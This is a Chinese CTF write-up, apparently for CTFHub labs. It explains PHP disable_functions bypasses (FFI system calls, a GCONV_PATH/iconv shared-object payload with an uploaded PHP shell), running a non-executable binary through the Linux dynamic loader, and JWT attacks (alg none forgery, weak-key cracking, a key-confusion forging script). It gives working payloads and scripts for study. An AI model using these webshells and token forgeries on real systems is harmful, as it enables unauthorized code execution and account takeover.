# 创建了一个新的FFI(Foreign Function Interface)对象,并使用cdef方法定义了一个C语言的函数system。这个函数接受一个字符指针参数,并返回一个整数。在C语言中,system函数通常用于执行shell命令。
$ffi = FFI::cdef("int system(const char *command);");
# 调用了上面定义的system函数,传递了一个字符串参数"tac /flag > /tmp/123"。这个字符串是一个shell命令,它的功能是读取名为flag的文件(通常位于Web服务器的文档根目录),并将其内容以反向顺序写入
$ffi->system("tac /flag > /tmp/123");
# 使用PHP的file_get_contents函数读取/tmp/123文件的内容,并将其输出到屏幕上。
echo file_get_contents("/tmp/123");
# 最后,这行代码使用PHP的unlink函数删除/tmp/123文件。使用@符号是为了抑制可能出现的错误消息。
@unlink("/tmp/123");

上传后访问页面

2.蚁剑

老样子没什么好说的,用插件就行了

9.iconv

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。
  4. 一些其他步骤。
1.手工

bypass过程

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

当我们使用浏览器访问我们上传的shell之后,服务器会做如下步骤:

  1. 设定GCONV_PATH指向我们的gconv-modules文件。
  2. 执行php的iconv函数,本质上调用了glibc的iconv_open函数。
  3. iconv_open函数依照GCONV_PATH找到我们上传gconv-modules文件。
  4. 根据gconv-modules文件的指示找到参数对应的.so文件。
  5. 调用.so文件中的gconv()和gonv_init()函数,当然,其中是我们想要服务器执行的系统命令。

首先上传gconv-modules文件于/tmp文件夹,其格式如下:

1
2
module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2

我是写成

1
2
module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2

再书写hack.c文件:

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("/readflag > /tmp/flag");
}

编译成.so文件

1
gcc hack.c -o hack.so -shared -fPIC

将生成的.so文件上传到/tmp。

再上传shell.php

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>

访问shell.php就能看到/tmp文件夹下有flag了

2.蚁剑

老样子没什么好说的用插件

参考文章:

使用GCONV_PATH与iconv进行bypass disable_functions_gconv-modules-CSDN博客

ByteCTF WP-无需mail bypass disable_functions - 先知社区 (aliyun.com)

Getting Arbitrary Code Execution from fopen’s 2nd Argument | The Pwnbroker (hugeh0ge.github.io)

Bypass shell_exec or system disabled functions by using GCONV (PHP rce to system()) (github.com)

AntSword-Labs/bypass_disable_functions/8 at master · AntSwordProject/AntSword-Labs (github.com)

10.bypass iconv 1

手工方法不行,只能用脚本,步骤和上面一样,不重复解释

11.bypass iconv 2

手工方法不行,只能用脚本,步骤和上面一样,不重复解释

2.Linux

1.动态挂载器

本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。

我觉得做这题前先有些前提知识:

Linux的so文件到底是干嘛的?浅析Linux的动态链接库

linux–>ldd命令的介绍_ldd ln -s-CSDN博客

linux系统——ld-linux.so.X查找和加载共享动态库的顺序 - eric0803 - 博客园 (cnblogs.com)

linux系统——ld-linux.so.X作用_linux ld.so-CSDN博客

1.动态库链接器/加载器

当需要动态链接的应用被操作系统加载时系统必须要定位然后加载它所需要的所有动态库文件
在Linux环境下,比如说我要执行ls命令,过程是这样的:

操作系统会将 控制权 交给 ld-linux.so 而不是 交给程序正常的进入地址。 ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。

ls在启动时,就需要ld-linux.so加载器将所有的动态库加载后然后再将控制权移交给ls程序的入口。

2.动态加载

动态加载是一种机制,通过该机制,计算机程序可以在运行时将库(或其他二进制)加载到存储器中,检索包含在库中的函数和变量的地址,执行那些函数或访问那些变量,以及从存储器中卸载库。它是计算机程序使用其他软件的三种机制之一;另外两种是静态链接和动态链接。与静态链接和动态链接不同,动态加载允许计算机程序在缺少这些库的情况下启动,以发现可用的库,并潜在地获得附加功能。

3.ELF (文件格式)

在计算机科学中,是一种用于二进制文件可执行文件目标代码、共享库和核心转储格式文件

通俗理解成在linux下的可执行文件(对比c文件编译后成的链接也是可执行文件)

4.ldd

ldd本身不是一个程序,而仅是一个shell脚本:ldd可以列出一个程序所需要得动态链接库(so)

我们可以用which命令找到ldd的位置:

1
2
$ which ldd
/usr/bin/ldd

在制作自己的发行版时经常需要判断某条命令需要哪些共享库文件的支持,以确保指定的命令在独立的系统内可以可靠的运行;
在Linux环境下我们可以用ldd命令查看某个可执行文件依赖了哪些动态链接库。

ldd命令通常使用"-v"或"–verbose"选项来显示所依赖的动态连接库的尽可能的详细信息。
即可得到/bin/ls命令的相关共享库文件列表:

1
2
3
4
5
6
7
8
9
10
# 注意: 在 ldd 命令打印的结果中,“=>”左边的表示该程序需要连接的共享库之 so 名称,右边表示由 Linux 的共享库系统找到的对应的共享库在文件系统中的具体位置。默认情况下, /etc/ld.so.conf  文件中包含有默认的共享库搜索路径。
# on Ubuntu 16.04 x86_64
$ ldd /bin/ls
linux-vdso.so.1 => (0x00007ffcd3dd9000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4547151000) # /bin/ls 依赖于 libselinux.so.1 库,该库提供了安全增强 Linux (SELinux) 的支持。
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4546d87000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4546b17000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4546913000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4547373000) # 这是动态链接器本身。它是运行时用来加载和链接共享库的程序。
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f45466f6000)

so文件后面往往跟着很多数字,这表示了不同的版本。so文件命名规则被称为SONAME:

1
libname.so.x.y.z

lib是前缀,这是一个约定俗成的规则。x为主版本号(Major Version),y为次版本号(Minor Version),z为发布版本号(Release Version)。

  • Major Version表示重大升级,不同Major Version之间的库是不兼容的。Major Version升级后,或者依赖旧Major Version的程序需要更新代码,重新编译,才可以在新的Major Version上运行;或者操作系统保留旧Major Version,使得老程序依然能运行。
  • Minor Version表示增量更新,一般是增加了一些新接口,原来的接口不变。所以,在Major Version相同的情况下,Minor Version从高到低是兼容的。
  • Release Version表示库的一些bug修复,性能改进等,不添加任何新的接口,不改变原来的接口。

但是我们刚刚看到的.so只有一个Major Version,因为这是一个软连接,libname.so.x软连接到了libname.so.x.y.z文件上。

1
2
$ ls -l /lib/x86_64-linux-gnu/libpcre.so.3
/lib/x86_64-linux-gnu/libpcre.so.3 -> libpcre.so.3.13.2

因为不同的Major Version之间不兼容,而Minor Version和Release Version都是向下兼容的,软连接会指向Major Version相同,Minor Version和Release Version最高的.so文件上。

解题

既然给了我们WebShell,我们直接用蚁剑连就是了

然后去找flag

然后发现flag是0600,readflag是0644

数字表示权限 如 chomd 777 file

比如说: chomd xyz file

x: 表示 代表文件所有者拥有的权限 (User)

y:代表文件所有者同组用户的权限为 (Group)

z:代表公共用户的权限 (Other)

同时:读的权限 : r= 4 写的权限:w = 2 运行的权限为 x = 1

所以 ,755意味着:

User rwx属性全都具备:4+2+1=7
Group、Other 只具备 r x : 4+1=5
644 意味着失去了运行的权限

这个时候我们就能利用ld-linux.so加载器进行绕过权限

原理:

ld-linux.so.2 glibc的库文件,一般链接到相应版本的ld-xxx.so上,是和动态库载入有关的函数

我们可以通过ldd 命令来查看一个 应用需要哪些依赖的动态库

同时在加载 动态库的时候,控制权在ld-linux.so加载器加载完所有的动态库的时候才会将权限移交给程序

而且, ELF 文件提供了相应的加载信息, GCC包含了一个特殊的 ELF 头INTERP, 这个 INTERP指定了 加载器的路径。ELF 规格要求,假如 PT_INTERP 存在的话,操作系统必须创建这个 interpreter文件的运行映射,而不是这个程序本身, 控制权会交给这个interpreter,用来定位和加载所有的动态库.

从而达到绕过 程序本身的权限不足

所以我们使用动态加载器动态链接 elf文件

我们先用ldd命令查看运行ls,cat等命令所依赖的共享库和它们的加载路径

有两种写法,不知道路径可以使用

1
ldd `which xxx` # which 命令用于在系统的 PATH 环境变量中查找可执行文件的路径

知道路径可以直接用

1
ldd bin/ls

然后就能发现这些指令都包括动态链接器本身 /lib64/ld-linux-x86-64.so.2。这意味着动态链接器是运行任何 Linux 可执行文件所必需的组件,包括通过指定其路径来直接执行的可执行文件。

因此,通过使用动态链接器的路径 /lib64/ld-linux-x86-64.so.2 来执行 /readflag 文件,实际上是利用了 Linux 系统中的动态链接机制来启动该文件。即使 /readflag 文件的权限限制了其执行范围(如 0644),使用动态链接器仍然可以绕过这些权限限制,因为动态链接器具有足够的权限来加载和执行可执行文件。

使用指令

1
/lib64/ld-linux-x86-64.so.2 /readflag

就能获取flag了

以上就是我在学习动态挂载器的所得了,因为大部分就是源引资料,而且也加入了自己的理解,可能有部分理解出问题,如有错误,请多包涵,顺便告诉我,一起学习🤗

3.JSON Web Token

1.基础知识

学习什么是 JWT

题目附件:https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob

什么是JWT

Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519

该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT 的原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

1
2
3
4
5
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。

服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

JWT 的数据结构

实际当中 JWT 长这个样子:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ

它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的

JWT 的三个部分依次如下:

  • Header(头部)
  • Payload(负载)
  • Signature(签名)

写成一行,就是下面的样子。

1
Header.Payload.Signature

每个部分最后都会使用 base64URLEncode方式进行编码

1
2
3
4
5
#!/usr/bin/env python
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

header部分最常用的两个字段是alg和typ。

alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法

typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。

Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。

  • iss (issuer):签发人
  • exp (expiration time):过期时间
  • sub (subject):主题
  • aud (audience):受众
  • nbf (Not Before):生效时间
  • iat (Issued At):签发时间
  • jti (JWT ID):编号

除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:

1
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0
1
2
3
4
5
{
"sub": "1234567890",
"name": "CTFHub",
"iat": 1516239022
}

注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分

Signature

Signature 部分是对前两部分的签名,防止数据篡改

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

参考链接

官网解释

阮一峰老师亲作(力推,写的很清晰)

JSON Web Token - Wikipedia

最后一个链接时维基百科,需要翻墙

2.敏感信息泄露

JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}

题目写的很清楚,就是获取token,flag藏在token里面,这里给官方的解码网站JSON Web Tokens - jwt.io

随便用个用户名和密码登录

然后用burp抓包,或者f12查看cookie,就能看到token

放到网站进行解码,把flag拼接好就行了

3.无签名

一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。

其实步骤和上面一样就是多了修改加密算法为none和修改role为admin(题目以及登录后给的提示)

先去抓包

把token解码

遗憾的是这个网站不支持none

把header部分和payload部分进行修改

1
2
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ==

然后拼接一下

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。

=号被省略(小数点记得不能丢)

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ.

用burp发送就行了

彩蛋:

不知道怎么触发的。。。

4.弱密钥

如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag

老样子登录+抓包发现加密算法是HS256

HS256 使用同一个「secret_key」进行签名与验证(对称加密)。

根据题目爆破密钥

这里需要用到c-jwt-cracker(上面工具有安装方法)

直接暴力跑就是了

把获取到的密钥输入+更换role(这里我忘记截图了,上网找的)

用burp发送就能获取flag

又是彩蛋。。。(不明白怎么触发的)

5.修改签名算法

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemo</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_COOKIE['token'];?>
<hr/>
</body>
</html>

<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;

class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>

公钥

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3QKnxxeQJtZyw4QOC74k
b9sVGhCzzDUHUXIHD5yCH5e1Fyx2SJFBrpLTs58kMHGqE8CGMn3jMfGO+tNEdFyn
8HrItDsh7aVMWI61EEJ+ZpDrkfP8Ep98a07t/cBUxBxY5MdmQl/AfAlnh5qnfTQk
/A3RaUbuPTMHDqRI3PhEe7X+JDvL4q+4i2weaQA/Umnc2OEJ7t4q+aLeezRBvMaN
pL1RMB4SuyWrPVTvSEh8d1D5eDAP579r5mCj5s8jbtmE42nf1eKBnGKaW6+rUWws
/qBxrXMysCEllgMujDGsBekko+IJc/upgP9MHebaL6nLYjdsowTbJ1N5N/6OkfLD
nwIDAQAB
-----END PUBLIC KEY-----

登录抓包获取token

然后代码审计看源码

如果我们想要获得flag,我们发送的 token 不为空 并且发送的 cookie 为PUBLIC_KEY 也就是公码
并且 role 为 admin。

1
2
3
4
5
6
7
8
9
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}

同时我们看上面:

1
2
3
4
5
6
7
8
9
10
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
}
}

发现在 JWTHelper类中,decode()、encode()默认的加密解密方式都为“HS256”
在回想这样一句话

1
JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false

我们就明白了:
在JWTHelper类的decode()中,如果输入公匙正确,并且后面的if语句正确,那么就会就会显示flag。同时 公匙要HS256加密。
所以我们要对公匙进行HS256加密,加入到token后面
在这里,我们可以自己编写脚本进行加密(记得自己保存号自己的publickey.pem文件),脚本需要读取公钥文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hmac
import hashlib
import base64

file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))#对字节串进行Base64编码。encode("utf-8")是将这个字符串从UTF-8格式转换为字节串(bytes)
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=") # .rstrip("=") .去除Base64编码后可能出现的尾随等号

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

用burp发送即可获得flag

2.Pwn

3.Reverse

4.Crypto

5.Misc

6.彩蛋

7.BlockChain